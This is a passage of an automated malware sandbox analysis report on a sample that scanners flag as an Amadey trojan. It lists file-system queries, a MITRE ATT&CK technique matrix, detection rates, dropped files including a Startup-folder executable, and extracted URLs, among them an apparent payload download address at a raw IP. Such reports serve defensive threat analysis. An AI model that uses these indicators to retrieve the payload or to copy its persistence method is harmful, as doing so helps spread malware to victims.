Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\numpy VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\lxml VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465 VolumeInformation	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	12 Registry Run Keys / Startup Folder	11 Process Injection	1 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	12 Registry Run Keys / Startup Folder	1 Virtualization/Sandbox Evasion	LSASS Memory	1 Virtualization/Sandbox Evasion	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	11 Process Injection	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Timestomp	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
client.exe	55%	ReversingLabs	Win64.Trojan.Amadey
client.exe	71%	Virustotal		Browse
client.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Programs\Startup\latest.exe	25%	ReversingLabs	Win64.Trojan.Generic
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_brotli.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_cffi_backend.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\bcrypt\_bcrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\charset_normalizer\md__mypyc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\client.exe	12%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\python312.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\unicodedata.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\vcruntime140_1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\zstandard\_cffi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_5828_133789929723806628\zstandard\backend_c.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_imaging.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_imagingcms.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\PIL\_webp.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_asyncio.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_brotli.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_cffi_backend.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_elementtree.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_multiprocessing.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_overlapped.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_uuid.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\_wmi.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\all.exe	8%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\bcrypt\_bcrypt.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\charset_normalizer\md.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\charset_normalizer\md__mypyc.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cryptography\hazmat\bindings\_rust.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cv2\cv2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\onefile_6304_133789930836485465\cv2\opencv_videoio_ffmpeg4100_64.dll	4%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
http://speleotrove.com/decimal/decarith.html	0%	Avira URL Cloud	safe
http://www.ascc.net/xml/schematron	0%	Avira URL Cloud	safe
https://static.aminer.org/pdf/PDF/000/317/196/spatio_temporal_wiener_filtering_of_image_sequences_us	0%	Avira URL Cloud	safe
https://requests.readthedocs.ioa__url__u2.32.3a__version__l	0%	Avira URL Cloud	safe
https://httpwg.org/specs/rfc9113.html#n-field-validity)	0%	Avira URL Cloud	safe
https://www.pcg-random.org/posts/developing-a-seed_seq-alternative.html	0%	Avira URL Cloud	safe
https://streams.videolan.org/upload/	0%	Avira URL Cloud	safe
http://www.jclark.com/xt	0%	Avira URL Cloud	safe
http://icl.com/saxon	0%	Avira URL Cloud	safe
http://my.ns/	0%	Avira URL Cloud	safe
http://exslt.org/dynamic	0%	Avira URL Cloud	safe
http://codespeak.net/lxml/objectify/pytype	0%	Avira URL Cloud	safe
http://dashif.org/guidelines/trickmode	0%	Avira URL Cloud	safe
http://194.59.30.220:5000/downloadaurll	0%	Avira URL Cloud	safe
http://exslt.org/dynamicmap	0%	Avira URL Cloud	safe
http://purl.oclc.org/dsdl/schematron	0%	Avira URL Cloud	safe
http://xmlsoft.org/XSLT/Reusing	0%	Avira URL Cloud	safe
https://netron.app)	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/opencv/opencv/issues/23152	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onnx.ai/)	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://caffe.berkeleyvision.org/)	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://my.ns/	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/rfc7540#section-5.3	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.pcg-random.org/posts/developing-a-seed_seq-alternative.html	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/opencv/opencv/issues/23152.	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/pyca/cryptography/issues/8996	client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mathworld.wolfram.com/LogisticDistribution.html	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://torch.ch/)	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpwg.org/specs/rfc9113.html#n-field-validity)	client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://web.archive.org/web/20090514091424/http://brighton-webs.co.uk:80/distributions/rayleigh.asp	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2168	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://mathworld.wolfram.com/CauchyDistribution.html	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.ascc.net/xml/schematron	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://requests.readthedocs.ioa__url__u2.32.3a__version__l	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://static.aminer.org/pdf/PDF/000/317/196/spatio_temporal_wiener_filtering_of_image_sequences_us	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://graphics.stanford.edu/~seander/bithacks.html#CountBitsSetParallel	latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/torch/nn/blob/master/doc/module.md	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://streams.videolan.org/upload/	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://curl.haxx.se/rfc/cookie_spec.html	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://speleotrove.com/decimal/decarith.html	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
https://www.tensorflow.org/lite	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://exslt.org/sets	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.gdal.org/ogr_formats.html).	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/3020	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#socks-proxies	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.tensorflow.org/)	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://numpy.org/devdocs/user/troubleshooting-importerror.html#c-api-incompatibility	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://exslt.org/common	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://www.itl.nist.gov/div898/software/dataplot/refman2/auxillar/powpdf.pdf	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://httpbin.org/	client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://exslt.org/dates-and-times	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://numpy.org/doc/stable/reference/random/index.html	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file	client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.cl.cam.ac.uk/~mgk25/iso-time.html	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76	all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.jclark.com/xt	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://mathworld.wolfram.com/BinomialDistribution.html	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mathworld.wolfram.com/LaplaceDistribution.html	latest.exe, 0000000B.00000003.2746059983.000001FD57F4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://icl.com/saxon	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://dashif.org/guidelines/trickmode	latest.exe, 0000000B.00000003.2746059983.000001FD570CA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.cert.fnmt.es/dpcs/	all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	false		high
https://onnx.ai/	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://exslt.org/dynamic	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://software.intel.com/openvino-toolkit)	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
https://google.com/mail	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	false		high
http://caffe.berkeleyvision.org	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.phys.uu.nl/~vgent/calendar/isocalendar.htm	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/pyca/cryptography/issues	client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://exslt.org/strings	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://html4/loose.dtd	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	false		high
https://mahler:8092/site-updates.py	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp, all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc7231#section-4.3.6)	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
https://docs.rs/getrandom#nodejs-es-module-support	client.exe, 00000000.00000003.1676240467.00000213EE396000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.firmaprofesional.com/cps0	all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	false		high
http://codespeak.net/lxml/objectify/pytype	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/urllib3/urllib3/issues/2920	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false		high
http://.css	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.securetrust.com/SGCA.crl0	all.exe, 0000000F.00000003.2983649170.0000014C47561000.00000004.00000020.00020000.00000000.sdmp	false		high
http://purl.oclc.org/dsdl/schematron	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://numpy.org/devdocs/numpy_2_0_migration_guide.html#adapting-to-changes-in-the-copy-keyword.	latest.exe, 0000000B.00000003.2746059983.000001FD57E0B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://194.59.30.220:5000/downloadaurll	client.exe, 00000000.00000003.1676240467.00000213ECD4F000.00000004.00000020.00020000.00000000.sdmp, client.exe, 00000003.00000000.1683226277.00007FF7CAAD3000.00000002.00000001.01000000.00000004.sdmp	false	Avira URL Cloud: safe	unknown
http://xmlsoft.org/XSLT/Reusing	latest.exe, 0000000B.00000003.2746059983.000001FD5740B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://github.com/openvinotoolkit/open_model_zoo/blob/master/models/public/yolo-v2-tiny-tf/yolo-v2-	latest.exe, 0000000B.00000003.2746059983.000001FD549A5000.00000004.00000020.00020000.00000000.sdmp	false		high
